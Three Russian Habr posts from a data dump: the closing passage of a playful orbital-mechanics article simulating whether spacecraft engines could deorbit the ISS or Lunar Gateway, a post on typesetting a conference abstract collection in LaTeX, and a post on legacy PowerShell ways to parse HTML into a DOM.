Вот так Солнце топит космические станции в атмосфере.
3. Как уронить МКС?
-------------------
Когда Наука пыталась сбежать в открытый космос, станцию развернуло почти на два оборота по тангажу:
Но высота орбиты почти не изменилась. Воон тот маленький пик в конце месяца:
Наука расположена так, что вектор тяги от её двигателей направлен куда-то мимо центра масс станции, и энергия в основном ушла на вращение. Как если бы вы толкали тележку с продуктами не по центру, а как-то с краю.
Но представим, что на МКС внезапно включился какой-то из двигателей и по совершенно неудачному совпадению, вектор тяги оказался направлен против вектора движения станции и ровно через центр масс. Так, что её не разворачивало, а вполне эффективно тормозило.
Если импульс был достаточно коротким, и за его время станция не успела пролететь значительную часть орбиты, она окажется на эллиптической орбите, с апоцентром на высоте своей прежней орбиты, а перицентром — ниже. Если же длительность импульса сравнима с периодом орбиты, снижаться будут и апоцентр и перицентр.
Станция летает на высоте 420км над Землей, со скоростью 7.66км/c. Сколько скорости нужно погасить, чтобы опустить перицентр в 2 раза ниже? Половину от 7.66?
Можно использовать формулу [Гомановского перехода](https://en.wikipedia.org/wiki/Hohmann_transfer_orbit#Calculation), чтобы связать ΔV и высоту перицентра:
 Где r1 это радиус изначальной орбиты (радиус Земли + 420км), а r2 - перицентр новой (радиус Земли + 210км).
Всего 60м/c и перицентр уже в два раза ниже! Мы помним, что с круговой орбиты в ~200км станция падает за считанные дни, но сколько она будет падать с орбиты 420х210?
Можно набросать симулятор, в котором с каким-нибудь достаточно малым *dt* интегрировать движение станции по орбите, учитывая силу притяжения и сопротивление атмосферы.
```
while height > reentry_height:
r = np.linalg.norm(iss.pos-earth)
height = r-R
speed = np.linalg.norm(iss.vel)
ve = iss.vel/speed
# Gravity
Fg = -u / (r**2)
e = (iss.pos-earth) / r
iss.force(e*Fg)
# Air
density = get_air_density(height)
Fd = density * (speed**2) * iss.k * iss.area / 2 / iss.mass
iss.force(-ve*Fd)
iss.step()
T += 1
```
Способ ужасно медленный, особенно если решать в лоб, но зато можно сходить за чаем, пока оно считается.
Обратите внимание на уровень активности Солнца: это что-то в духе очень сильного максимума, как было в 1950х. У нас ведь совсем неудачное стечение обстоятельств, да?
75 дней до падения. Обратите внимание, что апоцентр опускается быстрее чем перицентр. Его снижение вызвано торможением в перицентре, а там наиболее плотная атмосфера и станция тормозит быстрее. А перицентр напротив, остается примерно на одном уровне (хоть и очень низко в атмосфере), пока апоцентр не опустится достаточно низко.
А с круговой орбиты в 210км, она упала бы всего за 11 дней.
Зная порядок ΔV, которая нужна, чтоб уронить станцию, можно попробовать найти, что может дать такую дельту. На МКС есть много разных вещей с двигателями. Американский сегмент станции собирался при помощи шаттлов, и модули не имели собственных двигателей. Всякую мелочь возят транспортными кораблями, или Союзами — у мелочи тоже нет своих двигателей.
Но вот крупные Российские модули поднимались на орбиту Протонами а дальше добирались своим ходом. Таких три: **Заря, Звезда и Наука**. Но Наука совершенно точно не умеет ронять космические станции. Двигатели Звезды используют до сих пор, чтобы периодически поднимать орбиту станции.
Еще на станции постоянно висят какие-нибудь грузовые и пассажирские корабли. Время от времени и их двигатели используют для коррекции орбиты.
Мы можем добавить в нашу симуляцию внезапное включение двигателя. Его можно описать моментом включения, тягой и длительностью работы двигателя:
```
engine = True
engine_start = (24*3600)/dt
engine_thrust = 27e3
engine_burn_time = 987/dt
. . .
#Engine
if engine:
if T > engine_start and T < engine_start+engine_burn_time:
iss.force((-ve*engine_thrust)/iss.mass)
```
При этом будем считать, что двигатель всё время работы направлен против вектора движения станция. Даже, если он работает так долго, что станция успевает пройти значительную часть орбиты, да. *Очень* неудачное стечение обстоятельств.
Поехали:
#### Заря
[Модуль, с которого всё началось](https://en.wikipedia.org/wiki/Zarya). Поднялась на орбиту в ноябре 1998 года. А сразу за ней — американский модуль [Unity](https://en.wikipedia.org/wiki/Unity_(ISS_module)) и переходники. Первые два года, пока не было Звезды, двигатели Зари использовались для коррекции орбиты и маневров (Unity привезли шаттлом, и у него нет вообще никаких средств для маневрирования).
[Маршевые двигатели Зари](http://www.astronet.ru/db/msg/eid/zheleznyakov/iss/zarya) — два 11Д442, с суммарной тягой в 8.8 килоньютонов. А в баках Зари помещается до 6100 килограмм НДМГ и Тетраоксида азота. Мы не знаем удельный импульс двигателей, но для схожей мощности и такой же топливной пары он около 300 секунд. А значит, двигатели будут сжигать [3кг топлива в секунду](https://en.wikipedia.org/wiki/Thrust-specific_fuel_consumption), и проработают 34 минуты. Даже, если каким-то чудесным образом, ориентация станции будет поддерживаться всё это время так, чтоб двигатели тормозили станцию, ничего особенно страшного не произойдет:
130 дней до того, как перицентр пересечет отметку в 250км. И **почти 200 дней до схода с орбиты**. Достаточно времени, что не спеша собрать корабль с топливом для приведения орбиты в приличный вид.
#### Звезда
Через два года после Зари, [присоединилась к всеобщему веселью](https://en.wikipedia.org/wiki/Zvezda_(ISS_module)), и взяла на себя роль двигательной установки на МКС.
У нее есть два [маршевых двигателя](http://www.khrunichev.ru/main.php?id=54) по 3 килоньютона каждый. Они до сих пор используются для коррекции орбиты станции, получая топливо из баков Звезды и Зари (суммарно 7 тонн топлива и окислителя). Если взять удельный импульс в 300 секунд, двигатели проработают 58 минут.
Велика ли разница по сравнению с Зарей?
Не очень, но хотя-бы её двигатели и в реальности направлены в центр тяжести. Обратите внимание, что хоть перицентр и опустился до тех же ~300км, как в случае в Зарей, в этот раз импульс двигателя сильно затронул и апоцентр: потому что за 58 минут станция успела сделать ~2/3 оборота по орбите.
#### ATV
Абсолютно неинформативная и настолько же красивая фотка. ATV приближается к МКС и шипит во все стороны маневровыми двигателями (это не фонарики, это струи горячего газа) [Automated Transfer Vehicle](https://en.wikipedia.org/wiki/Automated_Transfer_Vehicle), европейский грузовичок, который иногда используется для поднятия орбиты станции. В качестве маршевых двигателей, использует 4 [маневровых двигателя от Apollo](https://en.wikipedia.org/wiki/R-4D), с суммарной тягой 2 килоньютона. Он может тащить до 6500кг топлива, которого (с импульсом в 270 секунд) хватит почти на 2.5 часа работы.
И получается вот так:
Хоть апоцентр и просел вместе с перицентром, но недостаточно глубоко, и у станции есть еще 240 дней на то чтобы всплыть.
#### HTV
Корабль выглядит одновременно как бочка и конденсатор[H-II Transfer Vehicle](https://en.wikipedia.org/wiki/H-II_Transfer_Vehicle)
Японский транспортный корабль, который никогда не использовался для коррекции орбиты МКС, но разве нам это важно? 4 двигателя по 500 ньютонов, в первых версиях это были всё те же R-4D, наследники Apollo, а потом [японские BT-4](https://en.wikipedia.org/wiki/BT-4_(rocket_engine)). 2400кг топлива, и 54 минуты работы.
Результат:
Не уверен что это вообще можно считать чрезвычайной ситуацией.
#### Прогрессы и Союзы
Прогрессы и Союзы снабжены одинаковой [двигательной установкой](https://en.wikipedia.org/wiki/KTDU-80), и иногда используются для поднятия орбиты МКС. На них установлен маршевый двигатель [С5.80](https://en.wikipedia.org/wiki/S5.80) с тягой в 2.95 килоньютона и удельным импульсом в 302 секунды.
Для поднятия орбиты используют не его, а маневровые, но у нас же внештатная ситуация. Максимальный запас топлива в 900кг дает 15 минут работы маршевого двигателя:
Еще дольше, чем для HTV. Союзы абсолютно безопасны, даже в таком странном контексте. Приятно знать.
#### Space Shuttle
Это не МКС, это Мир. Но тоже ведь космическая станция? Мы здесь любим любые космические станции.Что? Мы же рассуждаем о гипотетических вещах. Да, шаттлы уже давно не летают, и пристыковать его к МКС так, чтобы тяга двигателей была направлена через центр масс, невозможно (у него стыковочный порт на 90° вверх направлен), но какая разница?
Система орбитального маневрирования на шаттле состоит из двух двигателей [AJ-10](https://en.wikipedia.org/wiki/AJ10) (такой же стоял на Apollo), общей тягой 54 килоньютона. И работать они могут около 20 минут! За это время шаттл массой 100 тонн тормозит МКС (массой 440 тонн) на 125м/c и **роняет её в землю за половину витка орбиты**. Вин! Если бы шаттл мог толкать станцию, а не только вращать.
#### Crew Dragon
[Корабль от SpaceX](https://en.wikipedia.org/wiki/SpaceX_Dragon_2) находится тут по довольно интересной причине. У него конечно же тоже есть маршевые двигатели, но к черту их: мы уже поняли, что это глупо и безнадежно. Смотрите:
На ракетах с пилотируемыми космическими кораблями есть башенка системы аварийного спасения. На ней — очень мощные двигатели: их тяги должно хватить, чтоб преодолеть максимальный напор потока воздуха, оторвать корабль от разваливающийся ракеты и унести его прочь. А у Crew Dragon башенки нет. Потому что двигатели системы спасения у него интегрированы в сам корабль. И он тащит их прямо на МКС. [8 двигателей по 71 килоньютон каждый](https://en.wikipedia.org/wiki/SuperDraco), способные работать в течении 6 секунд:
Выглядит еще более печально, чем всё остальное, но хотя-бы без допущений "станция всю орбиту направлена двигателем назад" и "никто целый час не может ничего сделать с бунтующим двигателем".
Ускорение, ощущаемое на станции, при этом составит 1.3м/c^2, и за 6 секунд чей-нибудь, не прибитый к стене ноутбук, разгонится до 7.8м/c и разобьется об стену. Это ли не катастрофа?
#### Оrion
Отчаявшись уронить МКС чем-то из существующей техники, обратимся к технике будущего. Например, [Orion](https://en.wikipedia.org/wiki/Orion_(spacecraft)):
В естественной, пока что, среде обитания.Имеет всё тот же двигатель AJ-10 от Apollo/шаттла с тягой в 27 килоньютонов и удельным импульсом в 316 секунд. И 8600кг топлива, что дает время работы в 987 секунд.
Результат?
2.5 месяца до падения. Это уже сравнимо со сроками подготовки корабля-тягача для спасения тонущей станции.
Но Ориону нечего делать на МКС: он должен лететь к Луне. Полетим к Луне и мы.
#### А как же экипаж?
Протоколы эвакуации МКС в случае разного рода ЧП, [предусматривают](https://space.stackexchange.com/a/6620/42386) быстрое распихивание пассажиров по Союзам и Драконам, на которых они прилетели (каждый приезжает и уезжает на своей машине, очень удобно) и спуск их с орбиты. При массе Союза в 7.2 тонны, у него есть почти 400м/c дельты, чего вполне хватит даже для спасения из ситуации "шаттл взбесился и через пол часа мы провалимся глубоко в атмосферу".
Случайное включение двигателей, конечно же, не пройдет незамеченным: даже если взбунтовавшийся корабль не сообщит о том, что у него работают двигатели, ускорение почувствуют датчики на станции. Да и люди: вспомните видео с прогрессом, а ведь там было всего 500 ньютонов тяги.
Если по каким-то причинам двигатель невозможно отключить, можно использовать другие, чтобы компенсировать его тягу. А то и просто развернуть станцию на 180°, когда перицентр окажется угрожающе низко — и пусть он поднимает.
И даже если экипажу придется покинуть станцию, она достаточно автономна, чтобы управлять работой двигателей с Земли. Так что если в баках Зари и Звезды останется топливо, скорректировать орбиту можно удаленно.
### 4. Как уронить Lunar Gateway
Orion долетел до Луны, и мы вместе с ним[Маленькая уютная станция](https://en.wikipedia.org/wiki/Lunar_Gateway) на высокоэллиптической орбите вокруг Луны. Летает, пока, только на бумаге, но мы надеемся. Сайт ESA [заявляет массу в 40 тонн](https://www.esa.int/Science_Exploration/Human_and_Robotic_Exploration/Exploration/Gateway), но это звучит подозрительно мало. Скажем, с учетом пристыкованного корабля Orion и каких-нибудь дополнительных модулей, **80 тонн**.
Станция должна состоять из жилого модуля, лаборатории и служебного модуля, с солнечными батареями и ионными двигателями для коррекции орбиты. Плюс Orion и какой-нибудь посадочный модуль, чтобы летать на Луну за камнями.
Орбита у неё довольно специфична. Перицентр находится в 3000км над поверхностью Луны, а апоцентр — в 70'000км. И это при том, что радиус Луны "всего" 1737км, а расстояние до Земли — 386'000км.
До этого момента, мы сидели в зоне комфорта задачи двух тел: планета притягивает корабль, корабль кружится. Но теперь на станцию влияет как Луна, так и Земля. Вот так это выглядит в масштабе:
([источник](https://phys.org/news/2019-07-angelic-halo-orbit-chosen-humankind.html))
Можно что-нибудь посчитать. Например, силы с которыми действуют на станцию Луна и Земля в разных точках орбиты:
В перицентре, Луна притягивает станцию с силой 2.18e-1 ньютона, а Земля — 2.68e-3, в сто раз слабее. Влияние Земли на орбиту заметно, но не слишком драматично.
А вот в апоцентре, притяжение Луны снижается до 9.54e-4 ньютонов, при этом притяжение Земли почти не меняется — 2.59e-3. Теперь Земля притягивает станцию в 2.71 (мистер Леонард Эйлер, уходите, вы мешаете) раза **сильнее**, чем Луна.
Можно собрать из двух формул уравнение и узнать, на каком расстоянии силы притяжения Луны и Земли становятся равны:
Где , r2 - расстояние от центра Луны до станции.
Силы оказываются равны, когда r2 = 4.3e7 метров, или 43'000км. Учитывая то, что ближе к перицентру скорость снижается, можно сказать, что значительную часть времени, станция вращается скорее вокруг Земли, чем вокруг Луны. Что отлично иллюстрируется этой картинкой с [википедии](https://en.wikipedia.org/wiki/Near-rectilinear_halo_orbit):
Орбита поворачивается по мере того как Луна вращается вокруг Земли поэтому, с нашей точки зрения, станция всегда летает вокруг видимого диска Луны и никогда не уходит за неё. Очень удобно для радиосвязи. А еще высокая орбита позволяет станции меньше времени находиться в тени Луны: на очень низкой орбите, она была бы в тени примерно половину времени.
Учитывая радиус Луны в 1737км, расстояние в апоцентре будет 7.17e7 метров, а в перицентре 4.74e6. Большая полуось орбиты получается 3.82e7 метров. А период обращения по орбите:
Скорость в перицентре:
Довольно приличная. А вот в апоцентре всего 91.7м/c. А значит, **ΔV всего в 90м/с полностью гасит орбитальную скорость** и переводит станцию в режим камня падающего отвесно вниз. Но сколько нужно, чтобы опустить перицентр ровно в поверхность?
Мы можем сказать, что станция разобьется, если перицентр её орбиты будет на уровне грунта, или ниже. Значит, нужно найти скорость в апоцентре для такой орбиты, у которой расстояние в апоцентре так и осталось 7.17e7 а расстояние в перицентре — радиус Луны. Большая полуось у новой орбиты выходит 3.67e7, и подставляя её в формулу для скорости, мы получаем 56.26м/c. Значит, находясь в апоцентре, **надо затормозить всего на 35.5м/с**, чтобы через пол витка уткнуться в поверхность.
Зная, что мы можем посмотреть на весь диапазон тяги и длительности, который приведет к такому торможению. Ограничим тягу 26.7 килоньютонами (тяга маршевого двигателя Orion), а время 1 часом:
Всё что в синей области — роняет станциюВсего 106 секунд работы двигателя Orion и станция мчится к встрече с реголитом. Или час работы небольшого двигателя, как у Союза.
Уронить Lunar Gateway оказалось неожиданно просто. Но, как и с МКС, это требует кучи допущений. Во-первых, период орбиты здесь гораздо больше, и ситуация "мы в конце витка тормозимся о грунт" означает столкновение не через 40 минут, а через 4 дня.
На Lunar Gateway планируют использовать 4 [вот этих](https://www.busek.com/bht6000) двигателя ([даташит](https://static1.squarespace.com/static/60df2bfb6db9752ed1d79d44/t/610c3fb6ad8cb2543959bcc4/1628192694760/BHT_6000_v1.0.pdf)) с тягой около 0.3 ньютонов каждый. Вместе 1.2 ньютона. Мало? Да, но за 4 дня они наберут 5м/c дельты, чего может быть вполне достаточно, чтобы избежать столкновения на этом витке. И это при условии, что Orion окончательно сломался, и его двигатели использовать нельзя. А еще там должен быть посадочный модуль со своими, довольно мощными двигателями.
В общем, как и МКС, уронить Lunar Gateway можно только если за ней совсем никто не следит.
### 5. Ссылкография
#### Орбитальная механика и разное
[**Orbital Mechanics for Engineering Students**](http://www.nssc.ac.cn/wxzygx/weixin/201607/P020160718380095698873.pdf) Учебник по орбитальной механике. Содержит матан, и практические примеры того, куда его пихать и зачем.
[**Какие двигатели включала «Наука»? Что мы знаем о маневре модуля на орбите**](https://nplus1.ru/blog/2021/07/23/dps) Про двигатели на "Науке"
[**How Would NASA & Russia Evacuate the International Space Station**?](https://www.space.com/12772-nasa-space-station-crew-evacuation-plan.html) Коротенькая заметка о том, как могут эвакуировать МКС. Навеяна событиями 2011 года, когда Прогресс не долетел и МКС осталась без снабжения.
#### О космической погоде
[**Intense Space Weather Storms October 19 – November 07, 2003**](https://www.weather.gov/media/publications/assessments/SWstorms_assessment.pdf) Большая, жирная PDF о различных последствиях солнечного шторма 2003 года.
[**Understanding Solar Indices**](https://www.arrl.org/files/file/Technology/tis/info/pdf/0209038.pdf) Заметка о том, кто такие F10.7 и Ap. Рассказывает с точки зрения радиолюбительства, а не расчетов орбит, но это не так важно.
[**SOHO Data**](https://soho.nascom.nasa.gov/data/data.html) Сайт с данными с инструментов SOHO и их описанием.
[**Search for Solar Physics Data Products**](https://sdac.virtualsolar.org/cgi/search) Сам архив данных с SOHO и других аппаратов, наблюдающих за солнцем. Если вы привыкли к современным интерфейсам, оптимизированным на минимизацию порога вхождения для среднего пользователя, это может стать болезненным опытом. Но кто говорил, что будет легко? Hint: если хотите скачать много файлов, он вам выдаст длииинную страницу со ссылками на каждый из них. Ctrl-A, отрезаете лишнее в текстовом редакторе, и скачиваете всё wget -i ./links.txt
[**SOHO/EIT Data Analysis Resources**](https://umbra.nascom.nasa.gov/eit/eit_resources.html) Описание формата данных с телескопа EIT на SOHO. Для других инструментов можно найти аналогичные страницы.
[**Geomagnetic storm of 29-31 October 2003: Geomagnetically induced currents and their relation to problems in the Swedish high-voltage power transmission system**](https://agupubs.onlinelibrary.wiley.com/doi/epdf/10.1029/2004SW000123) О том, как Солнце погасило свет в Швеции.
#### О том, как нырять в атмосферу
[**Skylab Orbital Lifetime Prediction and Decay Analysis**](https://ntrs.nasa.gov/api/citations/19810005468/downloads/19810005468.pdf) Отчет NASA, об оценках времени жизни Skylab на орбите.
[**Satellite Orbital Decay Calculations**](https://www.sws.bom.gov.au/Category/Educational/Space%20Weather/Space%20Weather%20Effects/SatelliteOrbitalDecayCalculations.pdf) Коротенькая статья о том как считать время жизни спутника на орбите. Полезна еще и тем, что описывает ограничения метода и дает много полезных ссылок на источники.
[**Spacecraft drag modelling**](https://www.researchgate.net/publication/259128068_Spacecraft_drag_modelling) Статья с более сложным, чем "возьмем k=2" подходом к моделированию аэродинамики КА на низкой орбите.
[**Aerodynamic Drag Computation of Lower Earth Orbit (LEO) Satellites**](https://www.ist.edu.pk/downloads/jst/previous-issues/july-2018/12.-aerodynamic-drag-computation-of-lower-earth-orbit-(leo)-satellites.pdf) Плюс-минус такая же статья, но с практическими примерами моделирования.
[**Reducing spacecraft drag in Very Low Earth Orbit through shape optimisation**](https://www.eucass.eu/doi/EUCASS2017-449.pdf) Еще одна статья о космической аэродинамике, на этот раз сконцентрированная на уменьшении торможения через оптимизацию формы КА.
[**Satellite Drag**](https://ccmc.gsfc.nasa.gov/RoR_WWW/SWREDI/2015/SatDrag_YZheng_060415.pdf) Презентация с картинками, опять, про аэродинамику КА. Ценна, в основном, разными примерами из истории (именно тут я увидел как провалилась орбита МКС во время событий 2003 года).
<https://repository.library.noaa.gov/view/noaa/6995>
<http://www.sat-index.co.uk/failures/index.html?http://www.sat-index.co.uk/failures/midori2.html>
### 6. Благодарности
**[@Zelenyikot](/users/zelenyikot)** за то, что помог мне в нелегком деле использования сайта гугл точка ком, и нашел двигатели от Союза.
[**Andrew McCarthy**](https://www.instagram.com/cosmic_background/) за то, что поймал МКС на фоне Солнца, и разрешил мне использовать кусок от этого фото как КДПВ. | https://habr.com/ru/post/572924/ | null | ru | null |
# Верстка сборника тезисов конференции в LaTeX
В конце прошлого года в Ракетно-Космической Корпорации "Энергия" прошла конференция молодых ученых и специалистов. Автор этой статьи входил в состав секретариата, в частности выполнял функцию верстки сборника тезисов. Описание возникших проблем и путей их решения под катом.
К сожалению, система верстки LaTeX не распространена (по моей статистике) среди инженеров. Вместо использования команд форматирования высококлассные специалисты применяют, как метко выразился один профессор МГТУ им. Баумана, навязанный юристами и бухгалтерами редактор (конечно, речь об MS Word). Да, несомненно, при верстке некоторых объектов встречаются технические сложности, заставляющие потратить несколько часов на поиски элегантного решения, но эти затраты нивелируются, если в написании документа участвует группа людей, или если необходимо строго придерживаться определенного шаблона оформления. Про набор, верстку и внешний вид формул молчу.
Еще на этапе подготовки к конференции возникла мысль дать возможность авторам присылать тезисы, сверстанные в LaTeX (как вы уже поняли, ваш покорный слуга является ее ярым поклонником), для чего был разработан стилевой класс и шаблон документа.
Изначально я не предполагал верстать все тезисы при помощи LaTeX'а: планировалось, что секретари конференции пришлют уже подготовленные части сборника тезисов, каждый по своей тематической секции, а я должен быть их подчистить в плане форматирования, объединить в отдельный документ и преобразовать в PDF. Однако, мои глаза не смогли спокойно смотреть на присланный материал, к тому же в тот момент по основной работе было не слишком много текучки, что позволило потратить время на верстку тезисов в LaTeX'е.
Итак, мой рабочий цикл выглядел следующим образом:
1) Копирую текст из Word'а в VIm;
2) При помощи регулярного выражения добавляю переносы строк после каждой точки (мне так нравится), добавляю дополнительные переносы строк в окончания абзацев;
3) При помощи регулярного выражения оформляю заголовок доклада и информацию об авторах;
4) Оформляю список литературы в виде списка LaTeX;
5) Преобразую в PNG и вставляю картинки, набираю формулы.
Всего в сборнике тезисов было почти четыре сотни работ. Необходимо отметить, что десяток работ из них были сверстаны в LaTeX'е.
В процессе верстки подключил к VIm'у плагин latexsuite — он позволил мне сэкономить немного времени.
Что получилось автоматизировать (в основном, регулярными выражениями):
* поиск и экранирование спецсимволов LaTeX;
* добавление команд форматирования к заголовкам, информации об авторах и заголовку списка литературы;
* оформление ФИО авторов в виде Иванов~И.~И., а не Иванов И. и не И.И. Иванов.
* разбиение на строки длиной менее 80 символов;
* подсчет количества работ, в том числе по категориям.
Что не получилось (не хватило терпения/желания) автоматизировать:
* преобразование различных юникодных символов в команды LaTeX'а: кавычек в `<<>>`, тире в `"---`, креста в `\times` и т.д.;
* добавление символа `~` между числом и единицей измерения;
* форматирование единиц измерения, в основном `^2`, `^3` и градусов Цельсия;
* форматирование нумерованных и маркированных списков;
* переоформление элементов списка литературы примерно в соответствии с ГОСТ.
Что невероятно поразило — некоторые авторы кладут в DOC-файл рисунок большого размера (например, скриншот разрешением 1920x1280), а затем средствами текстового редактора кадрируют его, вырезая чертеж или окно (например, размером 400x300 пикселей). Переоформление такого рода рисунков заняло довольно много времени и потребовало определенной аккуратности.
Кроме таких рисунков, много времени съело преобразование рисунков, нарисованных средствами Word, в растровую картинку. Приходилось рендерить DOC-файл в PDF-формат при помощи CutePDF, а затем вырезать изображение из нужной странички PDF-документа. Правда, в отдельных случаях удалось оперативно получить от авторов рисунки в виде отдельных файлов.
И, конечно, отдельное удовольствие доставил повторный набор формул, изначально представленных в DOC-файле, в командах LaTeX'а.
Оформление сборника тезисов, имеющего суммарный объем побольше 700 страниц, содержащего тезисы почти 400 работ, заняло порядка 60 рабочих часов. На мой взгляд, выполнение аналогичных задач в MS Word, а именно: переформатирование в единый стиль, единообразная запись информации об авторах, приведение к единообразию кавычек и тире, вставка неразрывных пробелов вместо обычных, потребовало бы не меньшего времени. По крайней мере у меня.
Полученный документ радует красивыми шрифтами и единообразным оформлением.
[](http://ibb.co/mPgzqn)
[](http://ibb.co/jLgAwS)
[](http://ibb.co/jLgAwS)
И напоследок космическая картинка...
 | https://habr.com/ru/post/348950/ | null | ru | null |
# PowerShell: парсер HTML, устаревшие методы
Недавно я писал скрипт на языке «PowerShell», который на первом этапе извлекает текст из текстового файла в формате JSON и превращает его в объект. С объектом, очевидно, проще работать, чем с чистым текстом, хоть и в формате JSON. В языке «PowerShell» это легко сделать, потому что в нем существует удобный командлет [ConvertFrom-Json](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/convertfrom-json), предназначенный для этого.
Наличие этого командлета в языке заставило меня думать, что и для случая с текстовым файлом, содержащим код на языке HTML, в «PowerShell» тоже найдется какой-нибудь подобный командлет. Поэтому я захотел попробовать написать небольшой скрипт для анализа файла с кодом на языке HTML. Однако, моё предположение оказалось неверным. В языке «PowerShell» есть командлет [ConvertTo-Html](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/convertto-html), но нет командлета `ConvertFrom-Html`. То есть можно легко выгрузить какой-нибудь отчет, автоматически преобразовав его в HTML-страницу, но для преобразования имеющегося текстового файла с кодом на языке HTML в объект придется что-то придумывать.
Подробнее о том, что мне нужно
------------------------------
Как известно, код на языке HTML имеет древовидную структуру. Проблема в том, что изначально для анализа имеется простой текстовый файл с кодом на языке HTML. Программист не может сразу запустить перебор ветвей дерева HTML-документа в цикле, чтобы найти нужные HTML-элементы. Сначала в тексте следует обнаружить и выделить отдельные ветки дерева HTML-документа, то есть HTML-элементы. Для этого в тексте нужно найти HTML-теги, обозначающие границы HTML-элементов, а затем разложить отдельные HTML-элементы в отдельные переменные. Отдельными переменными могут быть элементы массива или, что еще лучше, свойства объекта. В итоге должен быть получен объект, содержащий дерево HTML-документа.
Поиск и выделение из текста отдельных веток дерева HTML-документа называют по-научному «[лексическим анализом](https://ru.wikipedia.org/wiki/%D0%9B%D0%B5%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7)», а помещение выделенных отдельных веток из линейного текста в древовидную структуру (в нашем случае — в объект) — «[синтаксическим анализом](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7)». При автоматизации этих операций лексический и синтаксический анализ исходного текста выполняет одна и та же программа, которую часто называют «парсером» (калька с английского слова «parser»).
То есть я хочу получить (на первом этапе) HTML-парсер. На входе HTML-парсер получает текстовый файл с кодом на языке HTML в кодировке UTF-8 (без метки BOM). Результатом работы HTML-парсера является объект, содержащий дерево HTML-документа. Такой объект еще называют «[объектной моделью HTML-документа](https://ru.wikipedia.org/wiki/Document_Object_Model)» (по-английски «Document Object Model» или сокращенно «DOM»).
Если вы когда-нибудь пробовали написать даже какой-нибудь простой парсер, то можете понять, что это непростая задача. А тем более это непросто для современного кода на языке HTML. Это не та задача, за которую можно взяться в одиночку. Таким образом, очевидно, что мне нужно уже готовое решение, созданное другими людьми, то есть какая-то библиотека, предназначенная для этой задачи. Хорошо, что такие библиотеки существуют и их несложно найти. Сложнее выбрать из имеющихся библиотек лучшее решение.
***Специфика.*** Тут следует уточнить, что я пишу скрипт для работы в программах-оболочках «Windows PowerShell» версии 5.1 и «PowerShell» версии 7 в операционной системе «Windows 10». Поэтому файл со скриптом должен быть в кодировке UTF-8 с меткой BOM, если предполагается, что скрипт будет выдавать в консоль сообщения на русском языке.
Тестовый файл с кодом на языке HTML я назвал «file.html». В этот файл я записал следующий текст в кодировке UTF-8 (без метки BOM):
```
Тестовая страница
Текст.
```
Я не буду тут описывать подробно получение текста из файла в переменную со всеми нужными проверками. Само получение выполняется так (переменная `$file` содержит путь к нужному файлу):
```
$html = get-content $file -Encoding utf8
```
Таким образом, у нас имеется переменная `$html`, содержащая текст из указанного файла с указанным кодом на языке HTML.
Устаревшие методы
-----------------
Сначала я приведу код двух способов, а потом дам некоторые пояснения.
***Способ 1.***
```
$dom = New-Object -ComObject "HTMLFile"
$enc = [System.Text.Encoding]::Unicode # UTF-16LE
$dom.write($enc.GetBytes($html))
```
***Способ 2.***
```
Add-Type -AssemblyName System.Windows.Forms
$webBrowser = New-Object -TypeName "System.Windows.Forms.WebBrowser"
$webBrowser.DocumentText = "" # Здесь можно присвоить любой текст
$webBrowser.Document.write($html)
$dom = $webBrowser.Document
```
В первом способе нужный объект создаем с помощью класса [IHTMLDocument2](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa752574(v=vs.85)), обращаясь к нему с помощью [COM](https://ru.wikipedia.org/wiki/Component_Object_Model). Этот класс базируется на браузерном движке «[Trident](https://ru.wikipedia.org/wiki/Microsoft_Trident)» (он же — «MSHTML») компании «Microsoft». Он появился в браузере «Internet Explorer» в 1997 году и жил в нем до последней версии этого браузера (версия 11), вышедшей в 2013 году.
Во втором способе для получения нужного объекта сначала создаем объект класса «[WebBrowser](https://docs.microsoft.com/en-us/dotnet/api/system.windows.forms.webbrowser)». Этот класс представляет один из элементов интерфейса («контрол», по-английски «control»), входящих в библиотеку «[Windows Forms](https://ru.wikipedia.org/wiki/Windows_Forms)» (с помощью этой библиотеки можно сконструировать оконный интерфейс для своей программы). После некоторых манипуляций из свойства «Document» объекта класса «WebBrowser» получаем объект класса «[HTMLDocument](https://docs.microsoft.com/en-us/dotnet/api/system.windows.forms.htmldocument)».
На самом деле, класс «HTMLDocument» является оберткой вокруг класса «IHTMLDocument2», использовавшегося в первом способе. То есть хоть классы «HTMLDocument» и «IHTMLDocument2» имеют некоторые отличия, но в целом они дают примерно одинаковые возможности. Можно даже сказать, что это один и тот же способ.
Если вы захотите использовать один из этих способов, следует обратить внимание на то, что метод «write» в первом и втором способе принимает параметр разного типа. В первом способе в этот метод следует передать байтовый массив (тип `[byte[]]`) с текстом в кодировке UTF-16LE. Поэтому было сделано перекодирование исходного текста из кодировки UTF-8 (без BOM) в кодировку UTF-16LE. Причем передается именно массив байтов, а не обычная строка типа `System.String`! Во втором способе в этот метод передается обычная строка типа `System.String`.
Во втором способе используется присвоение текста свойству «DocumentText» объекта класса «WebBrowser». Особого смысла в этом присвоении нет, поэтому присваиваемый текст может быть любым. Эта строка в коде нужна потому, что в результате этого присвоения в свойстве «Document» объекта класса «WebBrowser» создается объект класса «HTMLDocument», с которым после этого можно работать. Мне не удалось создать самостоятельный объект класса «HTMLDocument» вне контекста объекта класса «WebBrowser». Дело в том, что контролы библиотеки «Windows Forms» заточены именно для создания оконного интерфейса и не предназначены для такого использования, как в вышеприведенном скрипте. Можно сказать, что мы тут фотоаппаратом пытаемся забивать гвоздь.
Тестовый код для обоих способов я взял одинаковый, его можно поместить в каждом из двух вышеприведенных способов после вышеприведенного кода. Вот он:
```
$dom.GetType()
""
$dom.all[0].outerHTML
""
foreach ($elem in $dom.all) {
"--$($elem.tagName)"
}
```
***Результат 1.***
```
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True False __ComObject System.MarshalByRefObject
Тестовая страница
Текст.
--HTML
--HEAD
--TITLE
--BODY
```
***Результат 2.***
```
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True False HtmlDocument System.Object
Тестовая страница
Текст.
--HTML
--HEAD
--TITLE
--BODY
```
Видно, что объекты используются разные. В остальном результат одинаковый.
Выводы
------
